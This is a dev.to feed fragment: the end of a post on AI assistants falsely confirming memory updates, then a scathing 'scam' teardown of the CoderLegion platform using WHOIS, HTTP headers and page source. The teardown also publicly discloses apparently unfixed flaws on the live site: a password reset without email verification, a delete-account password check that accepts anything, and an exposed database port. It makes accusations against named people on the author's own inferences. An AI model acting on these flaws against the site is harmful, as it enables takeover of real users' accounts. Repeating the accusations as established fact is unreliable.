&lt;p&gt;&lt;strong&gt;Saying "update your memory" mid-conversation is mostly theatre.&lt;/strong&gt; The confirmation is generated before the write is verified — or before it even starts.&lt;/p&gt;




&lt;h2&gt;
  
  
  🧪 Run It Yourself — Right Now
&lt;/h2&gt;

&lt;p&gt;Don't take my word for it. Here's the exact protocol:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Step 1: Let the AI store a personal fact about you naturally.
        (Job title, city, main skill, project name — anything.)

Step 2: New conversation. Correct it explicitly.
        Get the confident "Done!" confirmation.

Step 3: New conversation. Ask something where that fact
        would appear as a SIDE DETAIL, not the main topic.

Use this prompt:

"I've been building [your field] projects consistently.
 Based on everything you know about me — my background,
 my work, my trajectory — where do I actually stand
 compared to others at a similar stage?"

Step 4: Watch which value shows up.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Bonus:&lt;/strong&gt; Run Step 3 at T+1min, T+5min, T+30min after the correction. See when (if ever) the correct value stabilizes. That gap is your system's eventual consistency window.&lt;/p&gt;

&lt;p&gt;Drop your results in the comments. I want to see the numbers across different systems.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Failure Has a Name Now
&lt;/h2&gt;

&lt;p&gt;I'm calling it &lt;strong&gt;Optimistic Memory Hallucination.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The model generates a confident confirmation of a write it never verified. It &lt;em&gt;sounds&lt;/em&gt; like it worked. The infrastructure may have done nothing. You won't know until the ghost comes back.&lt;/p&gt;

&lt;p&gt;Four failure modes. All documented. All reproducible:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Failure&lt;/th&gt;
&lt;th&gt;What Happens&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Optimistic Write Hallucination&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Confirms update before verifying write completed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Confidence Score Inversion&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Corrections get lower confidence than original mistakes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Eventual Consistency Leak&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Stale profile served to new session after "update"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Attention Salience Collapse&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Corrected value loses to original when not in focus&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;These aren't edge cases. They're the default behavior.&lt;/p&gt;




&lt;p&gt;The AI called it a Race Condition.&lt;/p&gt;

&lt;p&gt;I call it a trust problem.&lt;/p&gt;

&lt;p&gt;Know what your tools are actually doing.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Self-Taught Architect &amp;amp; Open Source Creator, building in Egypt.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;&lt;a href="https://github.com/kareem2099" rel="noopener noreferrer"&gt;github.com/kareem2099&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>webdev</category>
      <category>discuss</category>
      <category>machinelearning</category>
    </item>
    <item>
      <title>CoderLegion Review 2026: Is It a Scam? A Developer's Full Technical Teardown</title>
      <dc:creator>freerave</dc:creator>
      <pubDate>Sun, 03 May 2026 17:21:32 +0000</pubDate>
      <link>https://dev.to/freerave/coderlegion-review-2026-is-it-a-scam-a-developers-full-technical-teardown-4043</link>
      <guid>https://dev.to/freerave/coderlegion-review-2026-is-it-a-scam-a-developers-full-technical-teardown-4043</guid>
      <description>&lt;h2&gt;
  
  
  CoderLegion charges $10/month premium while running hidden ads, faking their founding date, inflating user counts by 70%, and sending bulk emails with mail merge errors. Full technical proof. Every claim verified against public record.
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; CoderLegion charges $10/month for "premium" access to ~37 active writers on a free open-source script running on $5 shared hosting. They claim no ads (Google AdSense is in the source code). They claim to exist since 2020 (domain registered 2023). They claim 4,065 users (pagination math says ~1,200). Both their domains are blocked from renewal by GoDaddy. After this analysis was completed, the site went down — and a bulk outreach email arrived addressed to someone named "Rockman." There is no Peter Jones.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Why This Article Exists
&lt;/h2&gt;

&lt;p&gt;I joined CoderLegion as a content creator.&lt;/p&gt;

&lt;p&gt;Within days, I reached &lt;strong&gt;#2 on the monthly leaderboard&lt;/strong&gt;. Not because the platform is competitive. Because barely anyone posts.&lt;/p&gt;

&lt;p&gt;Then the founder — Mehadi Hasan — slid into my DMs with an offer:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"I'm building out some features to help developers like you get more visibility and grow faster on the platform. I'd love to give you Premium free for a month and get your feedback on whether it actually helps. No pressure at all."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I'm a developer. I look at what things are actually built on before I make decisions.&lt;/p&gt;

&lt;p&gt;What I found is documented below. Every line of it is publicly verifiable.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu2om6cb9zs26yfit3ydh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu2om6cb9zs26yfit3ydh.png" alt="The founder personally DMing users to sell Premium" width="800" height="423"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Claim #1: "We've Been Around Since 2020"
&lt;/h2&gt;

&lt;p&gt;Every page on CoderLegion contains this in its schema markup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"dateCreated"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2020"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"publisher"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Coder Legion"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Public record:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;whois coderlegion.com

Creation Date: 2023-07-21T16:50:42Z
Updated Date:  2026-04-14T05:35:38Z
Registrar:     GoDaddy.com, LLC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The domain was registered July 21, 2023.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Their predecessor — the original platform they rebranded from:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;whois kodlogs.net

Creation Date: 2021-05-08T04:28:37Z
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;kodlogs.net&lt;/code&gt; was registered May 2021. The platform they're claiming as their 2020 origin didn't exist until 2021 — and the current domain didn't exist until 2023.&lt;/p&gt;

&lt;p&gt;Note also: the WHOIS record was &lt;strong&gt;updated April 14, 2026&lt;/strong&gt; — three days after a technical analysis of the platform was published publicly.&lt;/p&gt;

&lt;p&gt;Domain records don't update themselves.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Verdict: The "Since 2020" claim is false by any public measure.&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw1lprhl6c7bx62gptn9i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw1lprhl6c7bx62gptn9i.png" alt="Every page claims 2020. WHOIS says July 2023." width="800" height="71"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Claim #2: "We Don't Run Ads"
&lt;/h2&gt;

&lt;p&gt;Their About page states:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"The platform is completely free to use. We don't run ads or charge authors."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Their HTML source code — press Ctrl+U on any page — states:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;async&lt;/span&gt; 
  &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;ins&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"adsbygoogle"&lt;/span&gt;
  &lt;span class="na"&gt;data-ad-client=&lt;/span&gt;&lt;span class="s"&gt;"pub-1763140298030248"&lt;/span&gt;
  &lt;span class="na"&gt;data-ad-slot=&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;
  &lt;span class="na"&gt;data-ad-format=&lt;/span&gt;&lt;span class="s"&gt;"horizontal"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/ins&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Google AdSense Publisher ID: &lt;code&gt;ca-pub-1763140298030248&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is not a placeholder. This is an active, configured AdSense implementation earning revenue from every page view.&lt;/p&gt;

&lt;p&gt;The ads appear in the sidebar. At the bottom of posts. And — in a detail worth sitting with — on the &lt;strong&gt;Delete Profile&lt;/strong&gt; page.&lt;/p&gt;

&lt;p&gt;When a user is in the process of permanently deleting their account, CoderLegion serves them a Google ad.&lt;/p&gt;

&lt;p&gt;During our analysis, a third-party survey ad also appeared:&lt;br&gt;
&lt;strong&gt;MetroOpinion: "$5 مقابل إجابات قصيرة"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Multiple ad networks. On a platform that claims to run no ads.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Verdict: They run ads. The source code is the proof. The About page is not.&lt;/strong&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2p326hk6z50rzlg86bzb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2p326hk6z50rzlg86bzb.png" alt="An ad served while deleting your account. " width="800" height="425"&gt;&lt;/a&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Folxyia0hgbs2rlgbli89.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Folxyia0hgbs2rlgbli89.webp" alt="A second ad network. On the same " width="462" height="1000"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Claim #3: "Connect with 4,065 Amazing Developers"
&lt;/h2&gt;

&lt;p&gt;Every visitor sees this in the login modal.&lt;/p&gt;

&lt;p&gt;The users page has pagination. Pagination has math:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Last page accessible: /users?start=1170
Items per page: 30
Pages: 40

40 × 30 = 1,200 users
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The modal claims &lt;strong&gt;4,065&lt;/strong&gt;.&lt;br&gt;
The database-driven pagination reveals &lt;strong&gt;~1,200&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A 70% inflation in the number displayed to potential new users.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Verdict: The user count is not accurate. The math is public.&lt;/strong&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqjruhr7xoiuxjce8q8w3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqjruhr7xoiuxjce8q8w3.png" alt="4,065 in the modal. ~1,200 in the database. You can verify this yourself" width="800" height="423"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  What They're Actually Running
&lt;/h2&gt;

&lt;p&gt;The source code makes the tech stack visible to anyone:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;Path&lt;/span&gt;: /&lt;span class="n"&gt;qa&lt;/span&gt;-&lt;span class="n"&gt;theme&lt;/span&gt;/&lt;span class="n"&gt;CoderLegion&lt;/span&gt;/
&lt;span class="n"&gt;Path&lt;/span&gt;: /&lt;span class="n"&gt;qa&lt;/span&gt;-&lt;span class="n"&gt;plugin&lt;/span&gt;/&lt;span class="n"&gt;q2a&lt;/span&gt;-&lt;span class="n"&gt;badges&lt;/span&gt;-&lt;span class="n"&gt;master&lt;/span&gt;/
&lt;span class="n"&gt;Path&lt;/span&gt;: /&lt;span class="n"&gt;qa&lt;/span&gt;-&lt;span class="n"&gt;content&lt;/span&gt;/&lt;span class="n"&gt;jquery&lt;/span&gt;-&lt;span class="m"&gt;3&lt;/span&gt;.&lt;span class="m"&gt;3&lt;/span&gt;.&lt;span class="m"&gt;1&lt;/span&gt;.&lt;span class="n"&gt;min&lt;/span&gt;.&lt;span class="n"&gt;js&lt;/span&gt;
&lt;span class="n"&gt;Cookie&lt;/span&gt;: &lt;span class="n"&gt;qa_key&lt;/span&gt;      ← &lt;span class="n"&gt;Question2Answer&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;
&lt;span class="n"&gt;Cookie&lt;/span&gt;: &lt;span class="n"&gt;PHPSESSID&lt;/span&gt;   ← &lt;span class="n"&gt;PHP&lt;/span&gt; &lt;span class="n"&gt;backend&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;CoderLegion runs on Question2Answer (Q2A)&lt;/strong&gt; — a free, open-source PHP script available at question2answer.org.&lt;/p&gt;

&lt;p&gt;The server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://coderlegion.com
server: LiteSpeed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;LiteSpeed shared hosting. Market rate: &lt;strong&gt;$3–5/month.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The CoderLegion Premium plan: &lt;strong&gt;$10/month.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Premium promises:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"10x More Visibility"&lt;/li&gt;
&lt;li&gt;"Profile Boost"&lt;/li&gt;
&lt;li&gt;"Boosted Replies"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On a platform with &lt;strong&gt;~37 active writers per month&lt;/strong&gt; and &lt;strong&gt;~1,200 total registered users.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You do the math.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdwx6c372tm87oiesjv4l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdwx6c372tm87oiesjv4l.png" alt="$10/month. Free Q2A script. Shared hosting. ~37 active writers" width="800" height="421"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Domain Status: This Part Matters
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;whois coderlegion.com

Domain Status: clientRenewProhibited ⚠️
Domain Status: clientDeleteProhibited
Domain Status: clientTransferProhibited
Domain Status: clientUpdateProhibited
Registry Expiry Date: 2026-07-21
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;whois kodlogs.net

Domain Status: clientRenewProhibited ⚠️
Registry Expiry Date: 2026-05-08
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;clientRenewProhibited&lt;/code&gt; means &lt;strong&gt;GoDaddy has blocked the domain owner from renewing their domain.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This status is applied for reasons including outstanding payment issues, account holds, or compliance disputes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Both domains carry this flag.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kodlogs.net&lt;/code&gt; — the predecessor platform — expired within days of this analysis being conducted.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;coderlegion.com&lt;/code&gt; expires &lt;strong&gt;July 21, 2026.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you have published content on CoderLegion:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Export it. Now. Before July.&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7q6fws4x1nqil27blxmo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7q6fws4x1nqil27blxmo.png" alt="GoDaddy has blocked renewal on both domains. coderlegion.com expires July 21" width="800" height="893"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Security Infrastructure
&lt;/h2&gt;

&lt;p&gt;Any developer who looks at what's actually running on the server behind a platform that collects payment information will find services with no business being publicly accessible.&lt;/p&gt;

&lt;p&gt;The database — port 3306, MariaDB — is observable from the public internet.&lt;/p&gt;

&lt;p&gt;I'll leave it at that.&lt;/p&gt;

&lt;p&gt;If you're a developer, you know exactly what that means for user payment data.&lt;/p&gt;

&lt;p&gt;If you're not: a properly secured server keeps its database accessible only to itself. Not to the public internet.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;How it should be:
Database → localhost only ✅

What a developer paying attention might notice:
Database → publicly observable 🌍
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The information is verifiable by anyone with standard tooling.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you have entered payment information on CoderLegion, you should be aware of this.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Authentication
&lt;/h2&gt;

&lt;p&gt;The "Forgot Password" flow does not send a verification email.&lt;/p&gt;

&lt;p&gt;It accepts a new password directly — without confirming ownership of the account through email verification.&lt;/p&gt;

&lt;p&gt;The "Delete Account" page accepts any non-empty string in the password field. It does not validate against your actual account password.&lt;/p&gt;

&lt;p&gt;Both were discovered during normal usage of my own account.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Full Picture
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────┐
│         CoderLegion: Claimed vs. Real        │
├─────────────────────┬───────────────────────┤
│ Founded             │ 2020 → 2023 actual     │
│ Users               │ 4,065 → ~1,200 actual  │
│ Active writers/mo   │ Unstated → ~37 actual  │
│ Ads                 │ "None" → AdSense active │
│ Platform            │ Custom → Free Q2A script│
│ Hosting cost        │ Unstated → ~$5/month    │
│ Premium price       │ $10/month               │
│ Domain renewal      │ clientRenewProhibited ⚠️│
│ Predecessor domain  │ kodlogs.net → expired   │
│ DB security         │ Unstated → publicly     │
│                     │ observable              │
└─────────────────────┴───────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  "There Is No Peter Jones"
&lt;/h2&gt;

&lt;p&gt;Before this analysis, I received an email from&lt;br&gt;
&lt;strong&gt;Peter Jones&lt;/strong&gt; &lt;code&gt;&amp;lt;peter.jones@legioncoder.com&amp;gt;&lt;/code&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Your recent post 'You Don't Need Chaos Monkey' on Hashnode really caught my attention... I'd love to feature you as a guest author on CoderLegion.com."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The email addressed me as &lt;strong&gt;"Rockman."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;My name is FreeRave.&lt;/p&gt;

&lt;p&gt;Others across the internet have reported receiving identical outreach emails — same wording, different sender names: "Ross," "Peter Jones," and others. All from &lt;code&gt;@legioncoder.com&lt;/code&gt; addresses. All with the same template. Some with different names in the greeting.&lt;/p&gt;

&lt;p&gt;This is a bulk outreach operation with mail merge errors.&lt;/p&gt;

&lt;p&gt;There is no Peter Jones.&lt;br&gt;
There is no editorial team reading your Hashnode posts.&lt;br&gt;
There is a template, a mailing list, and occasionally the wrong name in the salutation.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzukdhecj7pi63rjcawdo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzukdhecj7pi63rjcawdo.png" alt="Hi Rockman." width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  UPDATE — May 3, 2026: The Site Went Down
&lt;/h2&gt;

&lt;p&gt;Shortly after this analysis was completed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ERR_CONNECTION_TIMED_OUT
coderlegion.com took too long to respond.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7kbd2a2zxyfm87lkkiox.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7kbd2a2zxyfm87lkkiox.png" alt="Browser ERR_CONNECTION_TIMED_OUT May 3, 2026. Desktop access blocked" width="800" height="421"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;The site remained accessible from mobile networks — confirming a &lt;strong&gt;targeted IP block&lt;/strong&gt;, not a server failure.&lt;/p&gt;

&lt;p&gt;Mobile access continued showing ads, including the MetroOpinion survey ad.&lt;/p&gt;

&lt;p&gt;And then — while blocked — I received the weekly CoderLegion newsletter:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Hi FreeRave, Your profile is ready to grow!"&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Account status:  Deleted ✅
IP status:       Blocked ✅
Newsletter:      Still arriving 📧
Points:          835 — gone
Email list:      Apparently permanent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn26sr3jn617k4ug02xkn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn26sr3jn617k4ug02xkn.png" alt="Account deleted. IP banned. Newsletter delivered. " width="800" height="422"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What You Should Do Right Now
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Free account:&lt;/strong&gt;&lt;br&gt;
Export all your content immediately. Go to your posts and copy everything. The domain situation makes July continuity uncertain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Premium account:&lt;/strong&gt;&lt;br&gt;
You paid $10/month for increased visibility among ~37 active writers on a platform with uncertain domain continuity. If you believe the service was misrepresented, contact your card provider.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Considering joining:&lt;/strong&gt;&lt;br&gt;
You now have the information. The decision is yours.&lt;/p&gt;


&lt;h2&gt;
  
  
  How Any Developer Can Verify This
&lt;/h2&gt;

&lt;p&gt;Every finding here came from publicly available information:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Domain age, status, and expiry&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;whois coderlegion.com
&lt;span class="nv"&gt;$ &lt;/span&gt;whois kodlogs.net

&lt;span class="c"&gt;# Server software&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://coderlegion.com

&lt;span class="c"&gt;# Source code — press Ctrl+U in any browser&lt;/span&gt;
&lt;span class="c"&gt;# Search for: adsbygoogle, qa-theme, dateCreated&lt;/span&gt;

&lt;span class="c"&gt;# User count math&lt;/span&gt;
&lt;span class="c"&gt;# Visit /users, find the last page number&lt;/span&gt;
&lt;span class="c"&gt;# Multiply by 30&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



